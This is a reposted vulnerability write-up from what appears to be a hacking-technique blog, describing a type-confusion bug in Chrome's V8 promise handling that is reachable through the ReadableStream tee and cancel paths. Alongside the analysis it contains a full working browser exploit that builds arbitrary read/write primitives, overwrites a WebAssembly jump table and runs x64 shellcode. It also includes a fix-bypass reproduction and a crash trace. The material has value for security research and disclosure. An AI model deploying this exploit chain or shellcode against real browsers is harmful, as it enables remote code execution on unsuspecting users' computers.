Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86392015

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

<!--
VULNERABILITY DETAILS
==1. TriggerPromiseReactions==
https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=d24c8dd69f1c7e89553ce101272aedefdb41110d&l=5975
Handle<Object> JSPromise::TriggerPromiseReactions(Isolate* isolate,
                                                  Handle<Object> reactions,
                                                  Handle<Object> argument,
                                                  PromiseReaction::Type type) {
  DCHECK(reactions->IsSmi() || reactions->IsPromiseReaction());

  // We need to reverse the {reactions} here, since we record them
  // on the JSPromise in the reverse order.
  {
    DisallowHeapAllocation no_gc;
    Object current = *reactions;
    Object reversed = Smi::kZero;
    while (!current->IsSmi()) {
      Object next = PromiseReaction::cast(current)->next(); // ***1***
      PromiseReaction::cast(current)->set_next(reversed);
      reversed = current;
      current = next;
    }
    reactions = handle(reversed, isolate);
  }
[...]

A Semmle query has triggered a warning that |TriggerPromiseReactions| performs a
typecast on the |reactions| argument without prior checks[1]. Upon further
inspection, it turned out that the JSPromise class reuses a single field to
store both the result object and the reaction list (chained callbacks).
Moreover, |JSPromise::Fulfill| and |JSPromise::Reject| don't ensure that the
promise is still in the "pending" state, instead they rely on the default
|resolve/reject| callbacks that are exposed to user JS code and use the
|PromiseBuiltins::kAlreadyResolvedSlot| context variable to determine whether
the promise has been resolved yet. So, it's enough to call, for example,
|JSPromise::Fulfill| twice on the same Promise object to trigger the type
confusion.


==2. Thenable objects and JSPromise::Resolve==
https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=d24c8dd69f1c7e89553ce101272aedefdb41110d&l=5902
MaybeHandle<Object> JSPromise::Resolve(Handle<JSPromise> promise,
                                       Handle<Object> resolution) {
[...]
  // 8. Let then be Get(resolution, "then").
  MaybeHandle<Object> then;
  if (isolate->IsPromiseThenLookupChainIntact(
          Handle<JSReceiver>::cast(resolution))) {
    // We can skip the "then" lookup on {resolution} if its [[Prototype]]
    // is the (initial) Promise.prototype and the Promise#then protector
    // is intact, as that guards the lookup path for the "then" property
    // on JSPromise instances which have the (initial) %PromisePrototype%.
    then = isolate->promise_then();
  } else {
    then =
        JSReceiver::GetProperty(isolate, Handle<JSReceiver>::cast(resolution),
                                isolate->factory()->then_string()); // ***2***
[...]    

This is a known behavior, and yet it has already caused some problems in the
past (see https://bugs.chromium.org/p/chromium/issues/detail?id=663476#c10).
When the promise resolution is an object that has the |then| property, |Resolve|
synchronously accesses that property and might invoke a user-defined getter[2],
which means it's possible to run user JavaScript while the promise is in the
middle of the resolution process. However, just calling the |resolve| callback
inside the getter is not enough to trigger the type confusion because of the
|kAlreadyResolvedSlot| check. Instead, one should look for places where
|JSPromise::Resolve| is called directly.


==3. V8 extras and ReadableStream==
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=d67a775151929f516380749eae3b32f514eade11&l=425
  function ReadableStreamTee(stream) {
    const reader = AcquireReadableStreamDefaultReader(stream);

    let closedOrErrored = false;
    let canceled1 = false;
    let canceled2 = false;
    let reason1;
    let reason2;
    const cancelPromise = v8.createPromise();

    function pullAlgorithm() {
      return thenPromise(
          ReadableStreamDefaultReaderRead(reader), ({value, done}) => {
            if (done && !closedOrErrored) {
              if (!canceled1) {
                ReadableStreamDefaultControllerClose(branch1controller); // ***3***
              }
              if (!canceled2) {
                ReadableStreamDefaultControllerClose(branch2controller);
              }
              closedOrErrored = true;
            }
[...]
    function cancel1Algorithm(reason) {
      canceled1 = true; // ***4***
      reason1 = reason;
      if (canceled2) {
        const cancelResult = ReadableStreamCancel(stream, [reason1, reason2]);
        resolvePromise(cancelPromise, cancelResult);
      }
      return cancelPromise;
    }
[...]
  function ReadableStreamCancel(stream, reason) {
    stream[_readableStreamBits] |= DISTURBED;

    const state = ReadableStreamGetState(stream);
    if (state === STATE_CLOSED) {
      return Promise_resolve(undefined);
    }
    if (state === STATE_ERRORED) {
      return Promise_reject(stream[_storedError]);
    }

    ReadableStreamClose(stream);

    const sourceCancelPromise =
          ReadableStreamDefaultControllerCancel(stream[_controller], reason);
    return thenPromise(sourceCancelPromise, () => undefined);
  }

  function ReadableStreamClose(stream) {
    ReadableStreamSetState(stream, STATE_CLOSED);

    const reader = stream[_reader];
    if (reader === undefined) {
      return;
    }

    if (IsReadableStreamDefaultReader(reader) === true) {
      reader[_readRequests].forEach(
          request =>
            resolvePromise(
                request.promise,
                ReadableStreamCreateReadResult(undefined, true,
                                               request.forAuthorCode)));
      reader[_readRequests] = new binding.SimpleQueue();
    }

    resolvePromise(reader[_closedPromise], undefined);
  }

A tiny part of Blink (namely, Streams API) is implemented as a v8 extra, i.e., a
set of JavaScript classes with a couple of internal v8 methods exposed to them.
The relevant ones are |v8.resolvePromise| and |v8.rejectPromise|, as they just
call |JSPromise::Resolve/Reject| and don't check the status of the promise
passed as an argument. Instead, the JS code around them defines a bunch of
boolean variables to track the stream's state. Unfortunately, there's a scenario
in which the state checks could be bypassed:
1. Create a new ReadableStream with an underlying source object that exposes the
stream controller's |stop| method.
2. Call the |tee| method to create a pair of child streams.
3. Make a read request for one of the child streams thus putting a new Promise
object to the |_readRequests| queue.
4. Define a getter for the |then| property on Object.prototype. From this point
every promise resolution where the resolution object inherits from
Object.prototype will call the getter.
5. Call |cancel| on the child stream. The call stack will eventually look like:
ReadableStreamCancel -> ReadableStreamClose -> resolvePromise ->
JSPromise::Resolve -> the |then| getter.
6. Inside the getter, calling regular methods on the child stream won't work
because its state is already set to "closed", but an attacker can call the
controller's |stop| method. Because |ReadableStreamClose| is executed before the
cancel callback[4], the |cancel1| flag won't be set yet, so the |close| method
will be called again[3] resolving the promise that is currently in the middle
of the resolution process.

The only problem here is the code [3] gets executed as another promise's
reaction, i.e. as a microtask, and microtasks are supposed to be executed
asynchronously.


==4. MicrotasksScope==
V8 exposes the MicrotasksScope class to Blink to control microtask execution.
MicrotasksScope's destructor will run all scheduled microtasks synchronously, if
the object that's being destructed is the top-level MicrotasksScope.  Therefore,
calling a Blink method that instantiates a MicrotasksScope should allow running
the scheduled promise reaction[3] synchronously. However, usually all JS code
(<script> body, event handlers, timeouts) already runs inside a MicrotasksScope.
One way to overcome this is to define the JS code as the |handleEvent| property
getter of an EventListener object and add the listener to, e.g., the |load|
event.

Putting it all together, the PoC is as follows:
<body>
<script>
performMicrotaskCheckpoint = () => {
  document.createNodeIterator(document, -1, {
    acceptNode() {
      return NodeFilter.FILTER_ACCEPT;
  } }).nextNode();
}

runOutsideMicrotasksScope = func => {
  window.addEventListener("load", { get handleEvent() {
    func();
  } });
}

runOutsideMicrotasksScope (() => {
  let stream = new ReadableStream({ start(ctr) { controller = ctr } });
  let tee_streams = stream.tee();
  let reader = tee_streams[0].getReader();
  reader.read();
  let then_counter = 0;

  Object.prototype.__defineGetter__("then", function() {
    if (++then_counter == 1) {
      controller.close();
      performMicrotaskCheckpoint();
    }
  });
  reader.cancel();
});
</script>
</body>


==5. Exploitation==
The bug allows an attacker to make the browser treat the object of their choice
as a PromiseReaction. If the second qword of the object contains a value that
looks like a tagged pointer, |TriggerPromiseReactions| will treat it as a
pointer to another PromiseReaction in the reaction chain and try to reverse the
chain. This primitive is not very useful without a separate info leak bug. If
the second qword looks like a Smi, the method will overwrite the first, third
and fourth qwords with tagged pointers. So, if the attacker allocates a
HeapNumber and a FixedDobuleArray that are adjacent to each other, and the
umber's value has its LSB set to 0, the function will overwrite the array's
length with a pointer that looks like a sufficiently large Smi. The array's map
pointer will also get corrupted, but that's not important (at least, for release
builds).

-----------------------------------------------------------------
|     HeapNumber    ||              FixedDoubleArray            |
-----------------------------------------------------------------
|    Map    | Value ||    Map    |   Length   | Element 0 | ... |
-----------------------------------------------------------------

Once the attacker has the relative read/write primitive, it's easy to construct
the pointer leak and arbitrary read/write primitives by finding the offsets of a
couple other objects allocated next to the array. Finally, to execute the
shellcode the exploit overwrites the jump table of a WebAssembly function, which
is stored in a RWX memory page.

Exploit (the shellcode runs gnome-calculator on linux x64):
-->

<body>
<script>
performMicrotaskCheckpoint = () => {
  document.createNodeIterator(document, -1, {
    acceptNode() {
      return NodeFilter.FILTER_ACCEPT;
  } }).nextNode();
}

runOutsideMicrotasksScope = func => {
  window.addEventListener("load", { get handleEvent() {
    func();
  } });
}

let data_view = new DataView(new ArrayBuffer(8));
reverseDword = dword => {
  data_view.setUint32(0, dword, true);
  return data_view.getUint32(0, false);
}

reverseQword = qword => {
  data_view.setBigUint64(0, qword, true);
  return data_view.getBigUint64(0, false);
}

floatAsQword = float => {
  data_view.setFloat64(0, float);
  return data_view.getBigUint64(0);
}

qwordAsFloat = qword => {
  data_view.setBigUint64(0, qword);
  return data_view.getFloat64(0);
}

let oob_access_array;
let ptr_leak_object;
let arbirary_access_array;
let ptr_leak_index;
let external_ptr_index;
const MARKER = 0x31337;

leakPtr = obj => {
  ptr_leak_object[0] = obj;
  return floatAsQword(oob_access_array[ptr_leak_index]);
}

getQword = address => {
  oob_access_array[external_ptr_index] = qwordAsFloat(address);
  return arbirary_access_array[0];
}

setQword = (address, value) => {
  oob_access_array[external_ptr_index] = qwordAsFloat(address);
  arbirary_access_array[0] = value;
}

getField = (object_ptr, num, tagged = true) =>
  object_ptr + BigInt(num * 8 - (tagged ? 1 : 0));

setBytes = (address, array) => {
  for (let i = 0; i < array.length; ++i) {
    setQword(address + BigInt(i), BigInt(array[i]));
  }
}

// ------------------------- \\

runOutsideMicrotasksScope (() => {
  oob_access_array = Array(16).fill(1.1);
  ptr_leak_object = {};
  arbirary_access_array = new BigUint64Array(1);
  oob_access_array.length = 0;

  const heap_number_to_corrupt = qwordAsFloat(0x10101010n);
  oob_access_array[0] = 1.1;
  ptr_leak_object[0] = MARKER;
  arbirary_access_array.buffer;

  let stream = new ReadableStream({ start(ctr) { controller = ctr } });
  let tee_streams = stream.tee();
  let reader = tee_streams[0].getReader();
  reader.read();
  reader.read();
  let then_counter = 0;

  Object.prototype.__defineGetter__("then", function() {
    let counter_value = ++then_counter;
    if (counter_value == 1) {
      controller.close();
      performMicrotaskCheckpoint();
      throw 0x123;
    } else if (counter_value == 2) { 
      throw heap_number_to_corrupt;
    } else if (counter_value == 4) {
      oob_access_array.length = 60;
      
      findOffsets();
      runCalc();
    }
  });
  reader.cancel();
});

findOffsets = () => {
  let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n);
  for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length;
      ++ptr_leak_index) {
    if (oob_access_array[ptr_leak_index] === markerAsFloat) {
      break;
    }
  }

  let oneAsFloat = qwordAsFloat(1n << 32n);
  for (external_ptr_index = 2; external_ptr_index < oob_access_array.length;
      ++external_ptr_index) {
    if (oob_access_array[external_ptr_index - 2] === oneAsFloat &&
        oob_access_array[external_ptr_index - 1] === 0) {
      break;
    }
  }

  if (ptr_leak_index === oob_access_array.length ||
      external_ptr_index === oob_access_array.length) {
    throw "Couldn't find the offsets";
  }
}

runCalc = () => {
  const wasm_code = new Uint8Array([
    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
    0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
    0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
    0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
    0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
    0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
    0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
    0x00, 0x00, 0x41, 0x00, 0x0b
  ]);
  const wasm_instance = new WebAssembly.Instance(
    new WebAssembly.Module(wasm_code));
  const wasm_func = wasm_instance.exports.a;

  const shellcode = [
    0x48, 0x31, 0xf6, 0x56, 0x48, 0x8d, 0x3d, 0x32,
    0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe2, 0x56,
    0x48, 0x8d, 0x3d, 0x0c, 0x00, 0x00, 0x00, 0x57,
    0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00,
    0x0f, 0x05, 0xcc, 0x2f, 0x75, 0x73, 0x72, 0x2f,
    0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d,
    0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c,
    0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53,
    0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00
  ];

  wasm_instance_ptr = leakPtr(wasm_instance);
  const jump_table = getQword(getField(wasm_instance_ptr, 32));
  setBytes(jump_table, shellcode);
  wasm_func();
}
</script>
</body>

<!--
VERSION
Google Chrome 72.0.3626.96 (Official Build) (64-bit)
Google Chrome 74.0.3702.0 (Official Build) dev (64-bit)

The Chrome team has landed a fix for the issue, but there's a way to bypass it.
From Chromium's bug tracker:

Sadly, there's still a way to bypass the latest fix. The fix prevents multiple resolution when all
the calls come from the |v8.resolvePromise| or |v8.rejectPromise| method exposed to v8 extras.
However, |ReadableStreamReaderGenericRelease| might use the regular |Promise.reject| method to
create an initially rejected promise and store it in |reader[_closedPromise]|:
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=bf33c15cd092ea27c870a5a115d138700737cb5e&l=722
  function ReadableStreamReaderGenericRelease(reader) {
    // TODO(yhirano): Remove this when we don't need hasPendingActivity in
    // blink::UnderlyingSourceBase.
    const controller = reader[_ownerReadableStream][_controller];
    if (controller[_readableStreamDefaultControllerBits] &
        BLINK_LOCK_NOTIFICATIONS) {
      // The stream is created with an external controller (i.e. made in
      // Blink).
      const lockNotifyTarget = controller[_lockNotifyTarget];
      callFunction(lockNotifyTarget.notifyLockReleased, lockNotifyTarget);
    }

    if (ReadableStreamGetState(reader[_ownerReadableStream]) ===
        STATE_READABLE) {
      rejectPromise(
          reader[_closedPromise],
          new TypeError(errReleasedReaderClosedPromise));
    } else {
      reader[_closedPromise] =
          Promise_reject(new TypeError(errReleasedReaderClosedPromise)); // ********
    }

Then, |ReadableStreamClose| might try to resolve it:
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=bf33c15cd092ea27c870a5a115d138700737cb5e&l=541
  function ReadableStreamClose(stream) {
    ReadableStreamSetState(stream, STATE_CLOSED);

    const reader = stream[_reader];
    if (reader === undefined) {
      return;
    }

    if (IsReadableStreamDefaultReader(reader) === true) {
      reader[_readRequests].forEach(
          request =>
            resolvePromise(
                request.promise,
                ReadableStreamCreateReadResult(undefined, true,
                                               request.forAuthorCode)));
      reader[_readRequests] = new binding.SimpleQueue();
    }

    resolvePromise(reader[_closedPromise], undefined); // ********
  }

It's not possible to call |ReadableStreamReaderGenericRelease| until the
|reader[_readRequests]| queue is empty, so an attacker has to call the |close| method twice as in
the original repro case. The call succeeds because |resolvePromise| acts a silent no-op.

Since the promise is already rejected when it's passed to |v8.resolvePromise|, the code hits the
assertion added to |PromiseInternalResolve| in the previous patch. It turns out that there's a
JSCallReducer optimization for |v8.resolvePromise| that doesn't generate the same assertion,
so the attacker can trigger optimization of |ReadableStreamCancel| to bypass the check:
https://cs.chromium.org/chromium/src/v8/src/compiler/js-call-reducer.cc?rcl=fee9be7abb565fc2f2ae7c20e7597bece4fc7144&l=5727
Reduction JSCallReducer::ReducePromiseInternalResolve(Node* node) {
  DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
  Node* promise = node->op()->ValueInputCount() >= 2
                      ? NodeProperties::GetValueInput(node, 2)
                      : jsgraph()->UndefinedConstant();
  Node* resolution = node->op()->ValueInputCount() >= 3
                         ? NodeProperties::GetValueInput(node, 3)
                         : jsgraph()->UndefinedConstant();
  Node* frame_state = NodeProperties::GetFrameStateInput(node);
  Node* context = NodeProperties::GetContextInput(node);
  Node* effect = NodeProperties::GetEffectInput(node);
  Node* control = NodeProperties::GetControlInput(node);

  // Resolve the {promise} using the given {resolution}.
  Node* value = effect =
      graph()->NewNode(javascript()->ResolvePromise(), promise, resolution,
                       context, frame_state, effect, control);

  ReplaceWithValue(node, value, effect, control);
  return Replace(value);
}

Repro:
<body>
<script>
performMicrotaskCheckpoint = () => {
  document.createNodeIterator(document, -1, {
    acceptNode() {
      return NodeFilter.FILTER_ACCEPT;
  } }).nextNode();
}

runOutsideMicrotasksScope = func => {
  window.addEventListener("load", { get handleEvent() {
    func();
  } });
}

for (let i = 0; i < 100000; ++i) {
  let stream = new ReadableStream();
  let reader = stream.getReader();
  reader.cancel();
}

runOutsideMicrotasksScope (() => {
  let stream = new ReadableStream({ start(ctr) { controller = ctr } });
  let tee_streams = stream.tee();
  let reader = tee_streams[0].getReader();
  reader.read();
  let then_counter = 0;

  Object.prototype.__defineGetter__("then", function() {
    if (++then_counter == 1) {
      controller.close();
      performMicrotaskCheckpoint();
      reader.releaseLock();
    }
  });
  reader.cancel();
});
</script>
</body>

(lldb) bt
* thread #1, name = 'chrome', stop reason = signal SIGSEGV: address access protected (fault address: 0x30fd824804e8)
  * frame #0: 0x0000555cf8057317 chrome`Builtins_RejectPromise + 55
    frame #1: 0x0000555cf801f7cc chrome`Builtins_RunMicrotasks + 556
    frame #2: 0x0000555cf7fff598 chrome`Builtins_JSRunMicrotasksEntry + 120
    frame #3: 0x0000555cf7b3e405 chrome`v8::internal::(anonymous namespace)::Invoke(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) + 549
    frame #4: 0x0000555cf7b3e895 chrome`v8::internal::(anonymous namespace)::InvokeWithTryCatch(v8::internal::Isolate*, v8::internal::(anonymous namespace)::InvokeParams const&) + 101
    frame #5: 0x0000555cf7b3e9fa chrome`v8::internal::Execution::TryRunMicrotasks(v8::internal::Isolate*, v8::internal::MicrotaskQueue*, v8::internal::MaybeHandle<v8::internal::Object>*) + 74
    frame #6: 0x0000555cf7c8042b chrome`v8::internal::MicrotaskQueue::RunMicrotasks(v8::internal::Isolate*) + 427
    frame #7: 0x0000555cfb5c13ba chrome`blink::Microtask::PerformCheckpoint(v8::Isolate*) + 58
    frame #8: 0x0000555cfc5cc301 chrome`blink::(anonymous namespace)::EndOfTaskRunner::DidProcessTask(base::PendingTask const&) + 17
-->